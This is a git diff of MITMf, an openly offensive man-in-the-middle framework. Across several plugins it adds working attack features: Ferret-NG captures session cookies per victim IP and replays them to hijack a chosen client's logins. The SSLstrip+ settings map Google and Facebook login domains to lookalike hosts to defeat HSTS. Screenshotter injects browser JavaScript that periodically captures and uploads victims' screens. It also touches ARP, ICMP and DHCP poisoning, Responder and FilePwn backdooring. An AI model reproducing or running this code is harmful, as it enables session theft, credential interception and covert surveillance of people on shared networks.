diff --git a/config/mitmf.conf b/config/mitmf.conf
index ce7e7ec..c6a4269 100644
--- a/config/mitmf.conf
+++ b/config/mitmf.conf
@@ -103,6 +103,27 @@
[[Regex2]]
"I'm Feeling Lucky" = "I'm Feeling Something In My Pants"
+[Ferret-NG]
+ #
+ # Here you can specify the client to hijack sessions from
+ #
+
+ Client = '192.168.20.126'
+
+[SSLstrip+]
+
+ #
+ #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
+ #
+
+ #for google and gmail
+ accounts.google.com = account.google.com
+ mail.google.com = gmail.google.com
+ accounts.google.se = cuentas.google.se
+
+ #for facebook
+ www.facebook.com = social.facebook.com
+
[Responder]
#Set these values to On or Off, so you can control which rogue authentication server is turned on.
@@ -317,20 +338,6 @@
Plugin = Flash
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
-[SSLstrip+]
-
- #
- #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
- #
-
- #for google and gmail
- accounts.google.com = account.google.com
- mail.google.com = gmail.google.com
- accounts.google.se = cuentas.google.se
-
- #for facebook
- www.facebook.com = social.facebook.com
-
[FilePwn]
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py
index e1473a2..a65d8cd 100755
--- a/core/dnschef/DNSchef.py
+++ b/core/dnschef/DNSchef.py
@@ -41,6 +41,7 @@ import logging
from configobj import ConfigObj
from core.configwatcher import ConfigWatcher
+from core.utils import shutdown
from dnslib import *
from IPy import IP
@@ -481,7 +482,7 @@ class DNSChef(ConfigWatcher):
self.startUDP()
except socket.error as e:
if "Address already in use" in e:
- sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
+ shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
# Initialize and start the DNS Server
def startUDP(self):
diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py
index ac6a80b..c9eeb36 100644
--- a/core/ferretng/ClientRequest.py
+++ b/core/ferretng/ClientRequest.py
@@ -71,9 +71,14 @@ class ClientRequest(Request):
del headers['cache-control']
if 'host' in headers:
- if headers['host'] in self.urlMonitor.cookies:
- mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
- headers['cookie'] = self.urlMonitor.cookies[headers['host']]
+ try:
+ for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]:
+ if headers['host'] == entry['host']:
+ mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
+ headers['cookie'] = entry['cookie']
+ except KeyError:
+ mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client))
+ pass
return headers
diff --git a/core/ferretng/URLMonitor.py b/core/ferretng/URLMonitor.py
index d1381aa..85386f9 100644
--- a/core/ferretng/URLMonitor.py
+++ b/core/ferretng/URLMonitor.py
@@ -32,6 +32,7 @@ class URLMonitor:
# Start the arms race, and end up here...
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
cookies = dict()
+ hijack_client = ''
_instance = None
def __init__(self):
diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js
index fea115f..fe50ad7 100644
--- a/core/javascript/screenshot.js
+++ b/core/javascript/screenshot.js
@@ -2875,4 +2875,4 @@ function grab() {
});
}
-grab()
\ No newline at end of file
+setInterval(function(){grab()}, SECONDS_GO_HERE);
\ No newline at end of file
diff --git a/core/protocols/arp/ARPWatch.py b/core/protocols/arp/ARPWatch.py
index 28f2473..0c45ef6 100644
--- a/core/protocols/arp/ARPWatch.py
+++ b/core/protocols/arp/ARPWatch.py
@@ -4,6 +4,7 @@ import sys
import threading
from scapy.all import *
+from core.utils import shutdown
mitmf_logger = logging.getLogger('mitmf')
@@ -21,9 +22,9 @@ class ARPWatch:
try:
self.gatewaymac = getmacbyip(self.gatewayip)
if self.gatewaymac is None:
- sys.exit("[ARPWatch] Error: Could not resolve gateway's MAC address")
+ shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address")
except Exception, e:
- sys.exit("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
+ shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip))
mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac))
diff --git a/core/protocols/arp/ARPpoisoner.py b/core/protocols/arp/ARPpoisoner.py
index 122e3fd..4b8858c 100644
--- a/core/protocols/arp/ARPpoisoner.py
+++ b/core/protocols/arp/ARPpoisoner.py
@@ -1,6 +1,7 @@
import logging
import threading
from time import sleep
+from core.utils import shutdown
from scapy.all import *
mitmf_logger = logging.getLogger('mitmf')
@@ -42,7 +43,7 @@ class ARPpoisoner():
def start(self):
if self.gatewaymac is None:
- sys.exit("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
+ shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip))
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))
diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py
index 2081804..d413926 100644
--- a/core/protocols/smb/SMBserver.py
+++ b/core/protocols/smb/SMBserver.py
@@ -4,6 +4,7 @@ import threading
from socket import error as socketerror
from impacket import version, smbserver, LOG
from core.configwatcher import ConfigWatcher
+from core.utils import shutdown
LOG.setLevel(logging.INFO)
LOG.propagate = False
@@ -29,7 +30,7 @@ class SMBserver(ConfigWatcher):
self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
except socketerror as e:
if "Address already in use" in e:
- sys.exit("\n[-] Unable to start SMB server on port 445: port already in use")
+ shutdown("\n[-] Unable to start SMB server on port 445: port already in use")
def start(self):
t = threading.Thread(name='SMBserver', target=self.server.start)
diff --git a/core/utils.py b/core/utils.py
index 38845f0..9aa8898 100644
--- a/core/utils.py
+++ b/core/utils.py
@@ -27,9 +27,15 @@ import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr, get_if_hwaddr
+from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger('mitmf')
+def shutdown(message=None):
+ for plugin in ProxyPlugins.getInstance().plist:
+ plugin.finish()
+ sys.exit(message)
+
class SystemConfig:
@staticmethod
@@ -44,11 +50,11 @@ class SystemConfig:
try:
ip_address = get_if_addr(interface)
if (ip_address == "0.0.0.0") or (ip_address is None):
- exit("[Utils] Interface {} does not have an assigned IP address".format(interface))
+ shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface))
return ip_address
except Exception, e:
- exit("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
+ shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
@staticmethod
def getMAC(interface):
@@ -56,7 +62,7 @@ class SystemConfig:
mac_address = get_if_hwaddr(interface)
return mac_address
except Exception, e:
- exit("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
+ shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
class IpTables:
diff --git a/mitmf.py b/mitmf.py
index 104ab20..6e21431 100755
--- a/mitmf.py
+++ b/mitmf.py
@@ -28,7 +28,7 @@ from twisted.web import http
from twisted.internet import reactor
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
-from core.utils import Banners, SystemConfig
+from core.utils import Banners, SystemConfig, shutdown
from plugins import *
Banners().printBanner()
@@ -123,8 +123,6 @@ mitmf_logger.addHandler(fileHandler)
#All our options should be loaded now, initialize the plugins
print "[*] MITMf v{} online... initializing plugins".format(mitmf_version)
-load = []
-
for p in plugins:
#load only the plugins that have been called at the command line
@@ -132,32 +130,30 @@ for p in plugins:
print "|_ {} v{}".format(p.name, p.version)
if p.tree_info:
- for line in p.tree_info:
+ for line in xrange(0, len(p.tree_info)):
print "| |_ {}".format(p.tree_info.pop())
p.initialize(args)
if p.tree_info:
- for line in p.tree_info:
+ for line in xrange(0, len(p.tree_info)):
print "| |_ {}".format(p.tree_info.pop())
- load.append(p)
+ ProxyPlugins.getInstance().addPlugin(p)
#Plugins are ready to go, let's rock & roll
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
-
CookieCleaner.getInstance().setEnabled(args.killsessions)
-ProxyPlugins.getInstance().setPlugins(load)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(args.listen, strippingFactory)
-for p in load:
+for p in ProxyPlugins.getInstance().plist:
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
p.startConfigWatch()
@@ -189,6 +185,4 @@ SMBserver().start()
reactor.run()
print "\n"
-#run each plugins finish() on exit
-for p in load:
- p.finish()
+shutdown()
\ No newline at end of file
diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py
index 2cb5fa8..0f4bad9 100644
--- a/plugins/BeefAutorun.py
+++ b/plugins/BeefAutorun.py
@@ -24,7 +24,7 @@ import json
from time import sleep
from core.beefapi import BeefAPI
-from core.utils import SystemConfig
+from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.Inject import Inject
@@ -54,7 +54,7 @@ class BeefAutorun(Inject, Plugin):
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
- sys.exit("[-] Error logging in to BeEF!")
+ shutdown("[-] Error logging in to BeEF!")
def startThread(self, options):
self.autorun()
diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py
index 0d356a8..0eb7408 100644
--- a/plugins/BrowserSniper.py
+++ b/plugins/BrowserSniper.py
@@ -20,12 +20,11 @@
import string
import random
-import sys
import logging
from time import sleep
from core.msfrpc import Msfrpc
-from core.utils import SystemConfig
+from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
@@ -56,7 +55,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
version = self.msf.call('core.version')['version']
self.tree_info.append("Connected to Metasploit v{}".format(version))
except Exception:
- sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
+ shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
def startThread(self, options):
self.snipe()
diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py
index 612dcbf..42c426a 100644
--- a/plugins/FerretNG.py
+++ b/plugins/FerretNG.py
@@ -19,12 +19,15 @@
#
import logging
+import ast
+import sys
from datetime import datetime
from plugins.plugin import Plugin
from twisted.internet import reactor
from twisted.web import http
from twisted.internet import reactor
+from core.utils import shutdown
from core.ferretng.FerretProxy import FerretProxy
from core.ferretng.URLMonitor import URLMonitor
@@ -41,17 +44,44 @@ class FerretNG(Plugin):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.ferret_port = 10010 or options.ferret_port
+ self.cookie_file = None
+
+ URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
+
+ if options.cookie_file:
+ self.tree_info.append('Loading cookies from log file')
+ try:
+ with open(options.cookie_file, 'r') as cookie_file:
+ self.cookie_file = ast.literal_eval(cookie_file.read())
+ URLMonitor.getInstance().cookies = self.cookie_file
+ cookie_file.close()
+ except Exception as e:
+ shutdown("[-] Error loading cookie log file: {}".format(e))
self.tree_info.append("Listening on port {}".format(self.ferret_port))
+ def onConfigChange(self):
+ mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
+ URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
+
def clientRequest(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
client = request.client.getClientIP()
- if host not in URLMonitor.getInstance().cookies:
- mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
- URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie}
+
+ if client not in URLMonitor.getInstance().cookies:
+ URLMonitor.getInstance().cookies[client] = []
+
+ for entry in URLMonitor.getInstance().cookies[client]:
+ if host == entry['host']:
+ mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host))
+ entry['host'] = host
+ entry['cookie'] = cookie
+ return
+
+ mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
+ URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
def pluginReactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
@@ -60,10 +90,16 @@ class FerretNG(Plugin):
def pluginOptions(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
- options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file')
+ options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file')
def finish(self):
+ if not URLMonitor.getInstance().cookies:
+ return
+
+ if self.cookie_file == URLMonitor.getInstance().cookies:
+ return
+
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
- with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file:
- cookie_file.write(URLMonitor.getInstance().cookies)
- cookie_file.close()
\ No newline at end of file
+ with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
+ cookie_file.write(str(URLMonitor.getInstance().cookies))
+ cookie_file.close()
diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py
index 54ccad6..64f977a 100644
--- a/plugins/FilePwn.py
+++ b/plugins/FilePwn.py
@@ -69,6 +69,7 @@ from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from core.msfrpc import Msfrpc
+from core.utils import shutdown
from plugins.plugin import Plugin
from tempfile import mkstemp
from configobj import ConfigObj
@@ -140,7 +141,7 @@ class FilePwn(Plugin):
t.setDaemon(True)
t.start()
except Exception:
- sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
+ shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
def setupMSF(self, msf):
diff --git a/plugins/Responder.py b/plugins/Responder.py
index e49bcfe..9ea9fec 100644
--- a/plugins/Responder.py
+++ b/plugins/Responder.py
@@ -18,11 +18,9 @@
# USA
#
-import sys
-
from plugins.plugin import Plugin
from twisted.internet import reactor
-from core.utils import SystemConfig
+from core.utils import SystemConfig, shutdown
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
@@ -48,7 +46,7 @@ class Responder(Plugin):
config = self.config['Responder']
smbChal = self.config['MITMf']['SMB']['Challenge']
except Exception as e:
- sys.exit('[-] Error parsing config for Responder: ' + str(e))
+ shutdown('[-] Error parsing config for Responder: ' + str(e))
LANFingerprinter().start(options)
MDNSPoisoner().start(options, self.ourip)
diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py
index 23cb23e..5e32555 100644
--- a/plugins/Screenshotter.py
+++ b/plugins/Screenshotter.py
@@ -20,6 +20,8 @@
import logging
import base64
+import urllib
+import re
from datetime import datetime
from plugins.Inject import Inject
@@ -32,22 +34,30 @@ class ScreenShotter(Inject, Plugin):
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
ver = '0.1'
- has_opts = False
+ has_opts = True
def initialize(self, options):
+ self.interval = options.interval
Inject.initialize(self, options)
self.html_payload = self.get_payload()
def clientRequest(self, request):
if 'saveshot' in request.uri:
request.printPostData = False
- img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
- with open(img_file, 'wb') as img:
- img.write(base64.b64decode(request.postData[30:] + '=='))
- img.close()
+ client = request.client.getClientIP()
+ img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
+ try:
+ with open('./logs/' + img_file, 'wb') as img:
+ img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
+ img.close()
- mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file))
+ mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
+ except Exception as e:
+ mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
def get_payload(self):
- canvas = open("./core/javascript/screenshot.js", "rb").read()
- return ''
\ No newline at end of file
+ canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
+ return ''
+
+ def pluginOptions(self, options):
+ options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
\ No newline at end of file
diff --git a/plugins/Spoof.py b/plugins/Spoof.py
index 086128c..4727fe5 100644
--- a/plugins/Spoof.py
+++ b/plugins/Spoof.py
@@ -18,8 +18,7 @@
# USA
#
-from sys import exit
-from core.utils import SystemConfig, IpTables
+from core.utils import SystemConfig, IpTables, shutdown
from core.protocols.arp.ARPpoisoner import ARPpoisoner
from core.protocols.arp.ARPWatch import ARPWatch
from core.dnschef.DNSchef import DNSChef
@@ -55,7 +54,7 @@ class Spoof(Plugin):
if options.arp:
if not options.gateway:
- exit("[-] --arp argument requires --gateway")
+ shutdown("[-] --arp argument requires --gateway")
if options.targets is None:
#if were poisoning whole subnet, start ARP-Watch
@@ -75,10 +74,10 @@ class Spoof(Plugin):
elif options.icmp:
if not options.gateway:
- exit("[-] --icmp argument requires --gateway")
+ shutdown("[-] --icmp argument requires --gateway")
if not options.targets:
- exit("[-] --icmp argument requires --targets")
+ shutdown("[-] --icmp argument requires --targets")
icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address)
icmp.debug = debug
@@ -88,7 +87,7 @@ class Spoof(Plugin):
elif options.dhcp:
if options.targets:
- exit("[-] --targets argument invalid when DCHP spoofing")
+ shutdown("[-] --targets argument invalid when DCHP spoofing")
dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
dhcp.shellshock = options.shellshock
@@ -104,7 +103,7 @@ class Spoof(Plugin):
DNSChef.getInstance().loadRecords(self.dnscfg)
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
- exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
+ shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
SystemConfig.setIpForwarding(1)